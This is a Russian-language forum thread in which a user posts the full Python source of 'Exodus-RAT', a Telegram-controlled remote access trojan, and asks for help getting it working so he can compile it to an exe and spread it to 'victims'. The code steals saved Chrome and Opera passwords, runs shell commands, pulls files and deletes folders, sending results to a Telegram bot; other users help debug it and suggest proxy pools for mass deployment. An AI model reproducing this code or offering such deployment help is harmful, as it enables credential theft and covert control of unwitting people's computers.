• B правой части каждого сообщения есть стрелки и . Не стесняйтесь оценивать ответы. Чтобы автору вопроса закрыть свой тикет, надо выбрать лучший ответ. Просто нажмите значок в правой части сообщения.

TeleBot на PYTHON

s unity

Green Team
18.09.2019
207
26
BIT
0
не могу заставить работать ратник на питоне с телеграмм ботом. с питоном знаком поверхностно, общие принципы понятны.
код самого бота:
Код:
import telebot # Для работы с ботом
import os # Для работы с директориями / файлами
import requests # Для отправки документов / скринов
import shutil # Для копирования файлов Login Data
import sqlite3 # Для работы с БД, где хранятся пароли
import win32crypt # Для расшифровки паролей
import subprocess # Для завершения процесса
import platform # Для получения информации о ПК
import webbrowser # Для открытия ссылки в браузере

bot_token = "ТУТ ТОКЕН"   # Токен от бота
chat_id = "ТУТ ID" # ID чата

bot = telebot.TeleBot(bot_token)

@bot.message_handler(commands=['start', 'Start']) # Ждём команды Start / start
def send_message(command): # Если команду выполнили
    bot.send_message(chat_id, "☣ Exodus-RAT Running ☣" +
                     "\n\nЧтобы узнать команды введи команду /commands" +
                     "\nCoded by Cikada | @Cikada3302") # Посылаем сообщение

@bot.message_handler(commands=['help', 'commands', 'Help', 'Commands']) # КОМАНДЫ
def send_message(command):
    bot.send_message(chat_id, "Команды: \n /Screen - Скриншот экрана \n /Info - Инфо о юзере \n /kill_process name.exe - Убить процесс по имени" +
                    "\n /Pwd - Узнать текущую директорию \n /passwords chrome - Пароли гугл хром \n /passwords opera - Пароли опера" +
                    "\n /Cmd command - Выполнить команду в cmd  \n /Open_url - Открыть ссылку \n /Ls - все папки и файлы в директории" +
                    "\n /Cd folder - перейти в папку \n /Download - скачать файл \n /Rm_dir - удалить папку" +
                    "\n\n /About - о RAT'e")

@bot.message_handler(commands=['screen', 'Screen']) # Ждём команды
def send_screen(command) :
    bot.send_message(chat_id, "Wait...") # Отправляем сообщение "Wait..."
    screen = open(os.getenv("APPDATA") + '\\Sreenshot.jpg', 'rb') # Обновляем переменную
    files = {'photo': screen} # Создаём переменную для отправки POST запросом
    requests.post("https://api.telegram.org/bot" + bot_token + "/sendPhoto?chat_id=" + chat_id , files=files) # Делаем запрос

def Chrome():
    text = 'Stealer coded by @Cikada3302\n\n\nPasswords Chrome:' + '\n'
    if os.path.exists(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Login Data'):
        shutil.copy2(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Login Data', os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Login Data2')
       
        conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Login Data2')
        cursor = conn.cursor()
        cursor.execute('SELECT action_url, username_value, password_value FROM logins')
        for result in cursor.fetchall():
            password = win32crypt.CryptUnprotectData(result[2])[1].decode()
            login = result[1]
            url = result[0]
            if password != '':
                text += '\nURL: ' + url + '\nLOGIN: ' + login + '\nPASSWORD: ' + password + '\n'
    return text
file = open(os.getenv("APPDATA") + '\\passwords_chrome.txt', "w+") #
file.write(str(Chrome()) + '\n')
file.close()

def Opera():
    texto = 'Stealer coded by @Cikada3302\n\n\nPasswords Opera:' + '\n'
    texto += 'URL | LOGIN | PASSWORD' + '\n'
    if os.path.exists(os.getenv("APPDATA") + '\\Opera Software\\Opera Stable\\Login Data'):
        shutil.copy2(os.getenv("APPDATA") + '\\Opera Software\\Opera Stable\\Login Data', os.getenv("APPDATA") + '\\Opera Software\\Opera Stable\\Login Data2')
        conn = sqlite3.connect(os.getenv("APPDATA") + '\\Opera Software\\Opera Stable\\Login Data2')
        cursor = conn.cursor()
        cursor.execute('SELECT action_url, username_value, password_value FROM logins')
        for result in cursor.fetchall():
            password = win32crypt.CryptUnprotectData(result[2])[1].decode()
            login = result[1]
            url = result[0]
            if password != '':
                texto += '\nURL: ' + url + '\nLOGIN: ' + login + '\nPASSWORD: ' + password + '\n'
file = open(os.getenv("APPDATA") + '\\passwords_opera.txt', "w+")
file.write(str(Opera()) + '\n')
file.close()

@bot.message_handler(commands=['passwords', 'Passwords']) # ПАРОЛИ
def send_passwords(message) :

    if ("{0}".format(message.text) == "/passwords chrome") : # Если сообщение /passwords chrome
        try: # Пробуем
            Chrome() # Вызываем функцию
            bot.send_message(chat_id, "Wait...")
            files = {'document': open(os.getenv("APPDATA") + '\\passwords_chrome.txt','rb')}
            requests.post("https://api.telegram.org/bot" + bot_token + "/sendDocument?chat_id=" + chat_id , files=files)
        except: # Если есть ошибки
            bot.send_message(chat_id, "Ошибка! Браузер запущен!")
    elif ("{0}".format(message.text) == "/passwords opera") : # ИначеЕсли текст /passwords opera
            Opera()
            bot.send_message(chat_id, "Wait...")
            files = {'document': open(os.getenv("APPDATA") + '\\passwords_opera.txt','rb')}
            requests.post("https://api.telegram.org/bot" + bot_token + "/sendDocument?chat_id=" + chat_id , files=files)

    else : # Иначе
        bot.send_message(chat_id, "Ошибка! Команда введена неправильно!")


@bot.message_handler(commands=['info', 'Info']) # ИНФОРМАЦИЯ
def send_info(command) :
    username = os.getlogin() # Получаем имя пользователя
   
    r = requests.get('http://ip.42.pl/raw') # Делаем GET запрос, чтобы узнать внешний IP
    IP = r.text # Объявляем переменную IP
    windows = platform.platform() # Получаем версию Windows
    processor = platform.processor() # Получаем характеристики процессора

    bot.send_message(chat_id, "PC: " + username + "\nIP: " + IP + "\nOS: " + windows +
        "\nProcessor: " + processor) # Отправляем сообщение с данными

@bot.message_handler(commands=['pwd', 'Pwd']) # ДИРЕКТОРИЯ
def pwd(command) :
    directory = os.path.abspath(os.getcwd()) # Получаем расположение
    bot.send_message(chat_id, "Текущая дериктория: \n" + (str(directory))) # Отправляем сообщение

@bot.message_handler(commands=["kill_process", "Kill_process"]) # ПРОЦЕССЫ
def kill_process(message):
    subprocess.call("taskkill /IM " + user_msg.split(" ")[1]) # Убиваем процесс по имени
    bot.send_message(chat_id, "Готово!")

@bot.message_handler(commands=["cmd", "Cmd"]) # CMD
def cmd_command(message) :
    subprocess.Popen([r'C:\\Windows\\system32\\cmd.exe', user_msg.split(" ")[1]]) # Запускаем cmd
    bot.send_message(chat_id, "Готово!")

@bot.message_handler(commands=["open_url", "Open_url"]) # ОТКРЫТЬ ССЫЛКУ
def open_url(message):  
    url = user_msg.split(" ")[1] # Объявляем переменную, в которой содержится url
    webbrowser.open_new_tab(url) # Открываем ссылку
    bot.send_message(chat_id, "Готово!")

@bot.message_handler(commands=["ls", "Ls"]) # ВСЕ ФАЙЛЫ
def ls_dir(commands):
     dirs = '\n'.join(os.listdir(path=".")) # Обявим переменную dirs, в которой содержатся все папки и файлы.
     bot.send_message(chat_id, "Files: " + "\n" + dirs)

@bot.message_handler(commands=["cd", "Cd"]) # ПЕРЕЙТИ В ПАПКУ
def cd_dir(message):
    path2 = user_msg.split(" ")[1] # Переменная - папка
    os.chdir(path2) # Меняем директорию
    bot.send_message(chat_id, "Директория изменена на " + path2)

@bot.message_handler(commands =["Download", "download"]) # ЗАГРУЗКА ФАЙЛА
def download_file(message):
    docc = user_msg.split(" ")[1] # Переменная, в которой содержится имя файла
    doccc = {'document': open(docc,'rb')} # Переменная для POST запроса

    requests.post("https://api.telegram.org/bot" + bot_token + "/sendDocument?chat_id=" + chat_id , files=doccc) # Отправляем файл

@bot.message_handler(commands = ["Rm_dir", "rm_dir"]) # УДАЛИТЬ ПАПКУ
def delete_dir(message):  
    path2del = user_msg.split(" ")[1] # Переменная - имя папка
    os.removedirs(path2del) # Удаляем папку
    bot.send_message(chat_id, "Директория " + path2del + " удалена")

@bot.message_handler(commands = ["About", "about"]) # ОПИСАНИЕ
def about(commands):
    bot.send_message(chat_id, "☣ Exodus-RAT v 1.0 ☣ \n\nCoder: @exploit_dar \nSpecial for @Cikada3302 :3")

bot.polling()

в Чем собственно вопрос: немного пришлось ковырять код, потому что исходник с статья вообще не работал, в итоге он запустился но выдает что подключение невезможно (неужели у жертвы должен быть vpn?)
скрин:
Screenshot_15.png


если кто сталкивался, буду признателен за помощь
 
Последнее редактирование:

f22

Codeby Academy
Gold Team
05.05.2019
1 909
226
BIT
1 542
не могу заставить работать ратник на питоне с телеграмм ботом. с питоном знаком поверхностно, общие принципы понятны.
код самого бота:
Код:
import telebot # Для работы с ботом
import os # Для работы с директориями / файлами
import requests # Для отправки документов / скринов
import shutil # Для копирования файлов Login Data
import sqlite3 # Для работы с БД, где хранятся пароли
import win32crypt # Для расшифровки паролей
import subprocess # Для завершения процесса
import platform # Для получения информации о ПК
import webbrowser # Для открытия ссылки в браузере

bot_token = "ТУТ ТОКЕН"   # Токен от бота
chat_id = "ТУТ ID" # ID чата

bot = telebot.TeleBot(bot_token)

@bot.message_handler(commands=['start', 'Start']) # Ждём команды Start / start
def send_message(command): # Если команду выполнили
    bot.send_message(chat_id, "☣ Exodus-RAT Running ☣" +
                     "\n\nЧтобы узнать команды введи команду /commands" +
                     "\nCoded by Cikada | @Cikada3302") # Посылаем сообщение

@bot.message_handler(commands=['help', 'commands', 'Help', 'Commands']) # КОМАНДЫ
def send_message(command):
    bot.send_message(chat_id, "Команды: \n /Screen - Скриншот экрана \n /Info - Инфо о юзере \n /kill_process name.exe - Убить процесс по имени" +
                    "\n /Pwd - Узнать текущую директорию \n /passwords chrome - Пароли гугл хром \n /passwords opera - Пароли опера" +
                    "\n /Cmd command - Выполнить команду в cmd  \n /Open_url - Открыть ссылку \n /Ls - все папки и файлы в директории" +
                    "\n /Cd folder - перейти в папку \n /Download - скачать файл \n /Rm_dir - удалить папку" +
                    "\n\n /About - о RAT'e")

@bot.message_handler(commands=['screen', 'Screen']) # Ждём команды
def send_screen(command) :
    bot.send_message(chat_id, "Wait...") # Отправляем сообщение "Wait..."
    screen = open(os.getenv("APPDATA") + '\\Sreenshot.jpg', 'rb') # Обновляем переменную
    files = {'photo': screen} # Создаём переменную для отправки POST запросом
    requests.post("https://api.telegram.org/bot" + bot_token + "/sendPhoto?chat_id=" + chat_id , files=files) # Делаем запрос

def Chrome():
    text = 'Stealer coded by @Cikada3302\n\n\nPasswords Chrome:' + '\n'
    if os.path.exists(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Login Data'):
        shutil.copy2(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Login Data', os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Login Data2')
      
        conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Login Data2')
        cursor = conn.cursor()
        cursor.execute('SELECT action_url, username_value, password_value FROM logins')
        for result in cursor.fetchall():
            password = win32crypt.CryptUnprotectData(result[2])[1].decode()
            login = result[1]
            url = result[0]
            if password != '':
                text += '\nURL: ' + url + '\nLOGIN: ' + login + '\nPASSWORD: ' + password + '\n'
    return text
file = open(os.getenv("APPDATA") + '\\passwords_chrome.txt', "w+") #
file.write(str(Chrome()) + '\n')
file.close()

def Opera():
    texto = 'Stealer coded by @Cikada3302\n\n\nPasswords Opera:' + '\n'
    texto += 'URL | LOGIN | PASSWORD' + '\n'
    if os.path.exists(os.getenv("APPDATA") + '\\Opera Software\\Opera Stable\\Login Data'):
        shutil.copy2(os.getenv("APPDATA") + '\\Opera Software\\Opera Stable\\Login Data', os.getenv("APPDATA") + '\\Opera Software\\Opera Stable\\Login Data2')
        conn = sqlite3.connect(os.getenv("APPDATA") + '\\Opera Software\\Opera Stable\\Login Data2')
        cursor = conn.cursor()
        cursor.execute('SELECT action_url, username_value, password_value FROM logins')
        for result in cursor.fetchall():
            password = win32crypt.CryptUnprotectData(result[2])[1].decode()
            login = result[1]
            url = result[0]
            if password != '':
                texto += '\nURL: ' + url + '\nLOGIN: ' + login + '\nPASSWORD: ' + password + '\n'
file = open(os.getenv("APPDATA") + '\\passwords_opera.txt', "w+")
file.write(str(Opera()) + '\n')
file.close()

@bot.message_handler(commands=['passwords', 'Passwords']) # ПАРОЛИ
def send_passwords(message) :

    if ("{0}".format(message.text) == "/passwords chrome") : # Если сообщение /passwords chrome
        try: # Пробуем
            Chrome() # Вызываем функцию
            bot.send_message(chat_id, "Wait...")
            files = {'document': open(os.getenv("APPDATA") + '\\passwords_chrome.txt','rb')}
            requests.post("https://api.telegram.org/bot" + bot_token + "/sendDocument?chat_id=" + chat_id , files=files)
        except: # Если есть ошибки
            bot.send_message(chat_id, "Ошибка! Браузер запущен!")
    elif ("{0}".format(message.text) == "/passwords opera") : # ИначеЕсли текст /passwords opera
            Opera()
            bot.send_message(chat_id, "Wait...")
            files = {'document': open(os.getenv("APPDATA") + '\\passwords_opera.txt','rb')}
            requests.post("https://api.telegram.org/bot" + bot_token + "/sendDocument?chat_id=" + chat_id , files=files)

    else : # Иначе
        bot.send_message(chat_id, "Ошибка! Команда введена неправильно!")


@bot.message_handler(commands=['info', 'Info']) # ИНФОРМАЦИЯ
def send_info(command) :
    username = os.getlogin() # Получаем имя пользователя
  
    r = requests.get('http://ip.42.pl/raw') # Делаем GET запрос, чтобы узнать внешний IP
    IP = r.text # Объявляем переменную IP
    windows = platform.platform() # Получаем версию Windows
    processor = platform.processor() # Получаем характеристики процессора

    bot.send_message(chat_id, "PC: " + username + "\nIP: " + IP + "\nOS: " + windows +
        "\nProcessor: " + processor) # Отправляем сообщение с данными

@bot.message_handler(commands=['pwd', 'Pwd']) # ДИРЕКТОРИЯ
def pwd(command) :
    directory = os.path.abspath(os.getcwd()) # Получаем расположение
    bot.send_message(chat_id, "Текущая дериктория: \n" + (str(directory))) # Отправляем сообщение

@bot.message_handler(commands=["kill_process", "Kill_process"]) # ПРОЦЕССЫ
def kill_process(message):
    subprocess.call("taskkill /IM " + user_msg.split(" ")[1]) # Убиваем процесс по имени
    bot.send_message(chat_id, "Готово!")

@bot.message_handler(commands=["cmd", "Cmd"]) # CMD
def cmd_command(message) :
    subprocess.Popen([r'C:\\Windows\\system32\\cmd.exe', user_msg.split(" ")[1]]) # Запускаем cmd
    bot.send_message(chat_id, "Готово!")

@bot.message_handler(commands=["open_url", "Open_url"]) # ОТКРЫТЬ ССЫЛКУ
def open_url(message): 
    url = user_msg.split(" ")[1] # Объявляем переменную, в которой содержится url
    webbrowser.open_new_tab(url) # Открываем ссылку
    bot.send_message(chat_id, "Готово!")

@bot.message_handler(commands=["ls", "Ls"]) # ВСЕ ФАЙЛЫ
def ls_dir(commands):
     dirs = '\n'.join(os.listdir(path=".")) # Обявим переменную dirs, в которой содержатся все папки и файлы.
     bot.send_message(chat_id, "Files: " + "\n" + dirs)

@bot.message_handler(commands=["cd", "Cd"]) # ПЕРЕЙТИ В ПАПКУ
def cd_dir(message):
    path2 = user_msg.split(" ")[1] # Переменная - папка
    os.chdir(path2) # Меняем директорию
    bot.send_message(chat_id, "Директория изменена на " + path2)

@bot.message_handler(commands =["Download", "download"]) # ЗАГРУЗКА ФАЙЛА
def download_file(message):
    docc = user_msg.split(" ")[1] # Переменная, в которой содержится имя файла
    doccc = {'document': open(docc,'rb')} # Переменная для POST запроса

    requests.post("https://api.telegram.org/bot" + bot_token + "/sendDocument?chat_id=" + chat_id , files=doccc) # Отправляем файл

@bot.message_handler(commands = ["Rm_dir", "rm_dir"]) # УДАЛИТЬ ПАПКУ
def delete_dir(message): 
    path2del = user_msg.split(" ")[1] # Переменная - имя папка
    os.removedirs(path2del) # Удаляем папку
    bot.send_message(chat_id, "Директория " + path2del + " удалена")

@bot.message_handler(commands = ["About", "about"]) # ОПИСАНИЕ
def about(commands):
    bot.send_message(chat_id, "☣ Exodus-RAT v 1.0 ☣ \n\nCoder: @exploit_dar \nSpecial for @Cikada3302 :3")

bot.polling()

в Чем собственно вопрос: немного пришлось ковырять код, потому что исходник с статья вообще не работал, в итоге он запустился но выдает что подключение невезможно (неужели у жертвы должен быть vpn?)
скрин:
Посмотреть вложение 35586

если кто сталкивался, буду признателен за помощь
А ты канал зарегистрировал, токен получил ?

bot_token = "ТУТ ТОКЕН" # Токен от бота
chat_id = "ТУТ ID" # ID чата
 

f22

Codeby Academy
Gold Team
05.05.2019
1 909
226
BIT
1 542
я так понимаю связь с телеграмом происходит только по впн?!
Нет, он работает спокойно и без VPN.

Регистрируется бот на канале bot_father или как-то так он называется.

После этого, например, импортируется telebot.types
И в коде описывается токен и бот
Python:
from telebot.types import Message
TOKEN =
bot = telebot.TeleBot(TOKEN)


Пишется декоратор к функции
Python:
@bot.message_handler(content_types=["text"])
def echo(message: Message):
    # Если приходит сообщение, делается то-то


Далее в бесконечном цикле запускается опрос бота
Python:
try:
    bot.polling(timeout=30)
except:
    time.sleep(15)
    bot.polling(timeout=30)
 
Последнее редактирование:

s unity

Green Team
18.09.2019
207
26
BIT
0
Нет, он работает спокойно и без VPN.

Регистрируется бот на канале bot_father или как-то так он называется.

После этого, например, импортируется telebot.types
И в коде описывается токен и бот
Python:
from telebot.types import Message
TOKEN =
bot = telebot.TeleBot(TOKEN)


Пишется декоратор к функции
Python:
@bot.message_handler(content_types=["text"])
def echo(message: Message):
    # Если приходит сообщение, делается то-то


Далее в бесконечном цикле запускается опрос бота
Python:
try:
    bot.polling(timeout=30)
except:
    time.sleep(15)
    bot.polling(timeout=30)
Так какой совет?
PS если разберусь, напишу целую годную статью которой нет в инете
 

s unity

Green Team
18.09.2019
207
26
BIT
0
На машине, на которой ты запускаешь скрипт белый IP?
Порты проброшены?
Стоппп, этот bot.py я хочу превратить в bot.exe и проверить его возможность работы в массах. Неужеле жертве обязательны проброс портов белый ип и прочее? Разве при подключении к теграмму нужен проброс портов? Помоему телеграмм работает на компе, едиственная проблема сам установщик скачать (нужен впн для скачивания). Если не ошибаюсь телеграм это целый сет.протокол ктторый работает так эе как и tcp/ip
 

f22

Codeby Academy
Gold Team
05.05.2019
1 909
226
BIT
1 542
Стоппп, этот bot.py я хочу превратить в bot.exe
Какая разница в каком формате ты его будешь запускать, хоть в bat его преврати, скрипт всё равно будет python.

Неужеле жертве обязательны проброс портов белый ип и прочее?
Делать это необязательно, но, обычно, каждые 24 часа динамический IP адрес меняется и бот может падать.

едиственная проблема сам установщик скачать (нужен впн для скачивания).
Нет, никакого установщика не нужно, ты же через API работаешь.

Так какой совет?
Если ты создаешь бота с минимумом функций, он запускается?
Python:
import telebot # Для работы с ботом
import os # Для работы с директориями / файлами
import requests # Для отправки документов / скринов
import shutil # Для копирования файлов Login Data
import sqlite3 # Для работы с БД, где хранятся пароли
import win32crypt # Для расшифровки паролей
import subprocess # Для завершения процесса
import platform # Для получения информации о ПК
import webbrowser # Для открытия ссылки в браузере

bot_token = "ТУТ ТОКЕН"   # Токен от бота
chat_id = "ТУТ ID" # ID чата

bot = telebot.TeleBot(bot_token)

@bot.message_handler(commands=['start', 'Start']) # Ждём команды Start / start
def send_message(command): # Если команду выполнили
    bot.send_message(chat_id, "☣ Exodus-RAT Running ☣" +
                     "\n\nЧтобы узнать команды введи команду /commands" +
                     "\nCoded by Cikada | @Cikada3302") # Посылаем сообщение

try:
    bot.polling(timeout=30)
except:
    time.sleep(15)
    bot.polling(timeout=30)
 

s unity

Green Team
18.09.2019
207
26
BIT
0
Какая разница в каком формате ты его будешь запускать
ты не понял. если пускать в массы, то его нужно в exe переводить, не у всех есть питон с библиотеками. код будет тот же, но чтоб люди могли его открывать его надо в exe переводить.
бот может падать
так бот даже не заработал еще, причем тут тогда его нестабильность?
Нет, никакого установщика не нужно
это я имел ввиду телеграмм на компе. чтоб работал нужно скачать приложение. установщик в рашке заблочен. попробуй в раше скачать установщик телеграмма без впн
Если ты создаешь бота с минимумом функций, он запускается?
а вот тут щас попробую и скажу
 

f22

Codeby Academy
Gold Team
05.05.2019
1 909
226
BIT
1 542
так бот даже не заработал еще, причем тут тогда его нестабильность?
Речь не о случайных ошибках, а о том, что ему нужно как-то перезапускать себя после того, как изменился IP. Вот я о чём.
То, что он запускается, это точно, библиотека то рабочая.
Значит, проблема или в коде, или в подключении.
Именно из-за этого я тебе и рекомендовал запустить минимально-достаточный код, чтобы отсеять возможность ошибки в нём.

это я имел ввиду телеграмм на компе. чтоб работал нужно скачать приложение. установщик в рашке заблочен. попробуй в раше скачать установщик телеграмма без впн
Не знаю, вроде открывается.

и проверить его возможность работы в массах.
А как ты реализуешь работу с несколькими устройствами?
Для каждого будешь свой канал создавать?
 
Последнее редактирование:

s unity

Green Team
18.09.2019
207
26
BIT
0
А как ты реализуешь работы с несколькими устройствами?
хороший вопрос, я думаю сначала нужно запустить, привести в exe и чтоб все работало. а потом можно дополнить код, создать какие нибудь сессии, или что-то типа этого. думаю питон позволит
 
13.11.2019
7
0
BIT
0
Насколько я работал с ботами - белый выделенный IP не нужен, перезапуск каждые сутки тоже не нужен. А вот VPN/proxy - нужен, иначе не взлетит, так как бот обращается на служебные адреса телеграмма, а они не меняются и заблокированы.
Насколько помню, в этой библиотеке была реализована работа с прокси из коробки, но, по состоянию на апрель-май этого года данный функционал у меня не взлетел, делал через VPN.
Так же при большом количестве подключений может лечь прокси, если он будет какой-то небольшой, а к нему ткнуть всех. Учитывай это.
 

s unity

Green Team
18.09.2019
207
26
BIT
0
Насколько я работал с ботами - белый выделенный IP не нужен, перезапуск каждые сутки тоже не нужен. А вот VPN/proxy - нужен, иначе не взлетит, так как бот обращается на служебные адреса телеграмма, а они не меняются и заблокированы.
Насколько помню, в этой библиотеке была реализована работа с прокси из коробки, но, по состоянию на апрель-май этого года данный функционал у меня не взлетел, делал через VPN.
Так же при большом количестве подключений может лечь прокси, если он будет какой-то небольшой, а к нему ткнуть всех. Учитывай это.
Интересненько, а получается его только через впн подключать? В массы не запустишь тогда. Смысл пропадает в корне
 

Tony

Green Team
21.09.2019
87
14
BIT
0
VPN и прокси нужны для сервера, которым запускается Python скриптом на устройстве жертвы.
Дык я понял, ботам лишь нужно прописать ип прокси, если есть такой функционал или добавить пару строк в коде для работы через прокси. Проблема ведь в блокировке ипов телеграм в России.
 

Tony

Green Team
21.09.2019
87
14
BIT
0
В файле бота добавь:
Python:
from telebot import apihelper

apihelper.proxy = {'https':'socks5://PROXY_IP:PROXY_PORT'}
Если что, трейс ошибки сюда скинь.
Найди в паблике рабочий socks5 прокси для тестов ип и порт заменишь в коде. Потом если всё заработает поднимешь свои.
 
13.11.2019
7
0
BIT
0
В массы не запустишь тогда. Смысл пропадает в корне
Даёшь ему на вход большую пачку прокси с случайным выбором из неё + обработка ошибок, если прокси умер.

VPN и прокси нужны для сервера, которым запускается Python скриптом на устройстве жертвы.
Так это же и есть серверная часть бота, насколько я понял по коду.

Кстати. ChatID, насколько помню, тут должен быть не канал, а чат с пользователем. Но не уверен. И еще соответствующую настройку надо посмотреть в BotFather вроде.
И. По поводу чата с пользователем. Чат должен начать именно пользователь. Бот начать чат не может, вылетит с ошибкой.

Ещё 'и'. Не уверен, что сработает мультистарт на одном токене. И точно будет проблема с передачей команд конкретному экземпляру. Ответы, возможно, дойдут все. Или один. Или ещё что-то где-то отвалиться. Но это уже чисто мои домыслы, может быть всё будет работать.
 
Последнее редактирование:
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!